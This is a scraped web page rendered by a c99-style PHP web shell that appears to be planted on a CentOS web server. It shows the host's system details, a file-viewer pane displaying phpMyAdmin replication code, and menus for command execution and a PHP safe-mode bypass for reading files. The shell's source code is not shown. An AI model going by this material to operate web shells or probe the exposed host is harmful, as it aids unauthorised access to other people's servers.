Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/libraries/ drwxr-xr-x |
Viewing file: Select action/file-type: 'No', 'Slave_SQL_Running' => 'No', ); $slave_variables_oks = array( 'Slave_IO_Running' => 'Yes', 'Slave_SQL_Running' => 'Yes', ); // check which replication is available and set $server_{master/slave}_status and assign values // replication info is more easily passed to functions /* * @todo use $replication_info everywhere instead of the generated variable names */ $replication_info = array(); foreach ($replication_types as $type) { if (count(${"server_{$type}_replication"}) > 0) { ${"server_{$type}_status"} = true; $replication_info[$type]['status'] = true; } else { ${"server_{$type}_status"} = false; $replication_info[$type]['status'] = false; } if (${"server_{$type}_status"}) { if ($type == "master") { ${"server_{$type}_Do_DB"} = explode(",", $server_master_replication[0]["Binlog_Do_DB"]); $replication_info[$type]['Do_DB'] = ${"server_{$type}_Do_DB"}; ${"server_{$type}_Ignore_DB"} = explode(",", $server_master_replication[0]["Binlog_Ignore_DB"]); $replication_info[$type]['Ignore_DB'] = ${"server_{$type}_Ignore_DB"}; } elseif ($type == "slave") { ${"server_{$type}_Do_DB"} = explode(",", $server_slave_replication[0]["Replicate_Do_DB"]); $replication_info[$type]['Do_DB'] = ${"server_{$type}_Do_DB"}; ${"server_{$type}_Ignore_DB"} = explode(",", $server_slave_replication[0]["Replicate_Ignore_DB"]); $replication_info[$type]['Ignore_DB'] = ${"server_{$type}_Ignore_DB"}; ${"server_{$type}_Do_Table"} = explode(",", $server_slave_replication[0]["Replicate_Do_Table"]); $replication_info[$type]['Do_Table'] = ${"server_{$type}_Do_Table"}; ${"server_{$type}_Ignore_Table"} = explode(",", $server_slave_replication[0]["Replicate_Ignore_Table"]); $replication_info[$type]['Ignore_Table'] = ${"server_{$type}_Ignore_Table"}; ${"server_{$type}_Wild_Do_Table"} = explode(",", $server_slave_replication[0]["Replicate_Wild_Do_Table"]); $replication_info[$type]['Wild_Do_Table'] = ${"server_{$type}_Wild_Do_Table"}; ${"server_{$type}_Wild_Ignore_Table"} = explode(",", $server_slave_replication[0]["Replicate_Wild_Ignore_Table"]); $replication_info[$type]['Wild_Ignore_Table'] = ${"server_{$type}_Wild_Ignore_Table"}; } } } /** * @param $string contains "dbname.tablename" * @param $what what to extract (db |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]-- |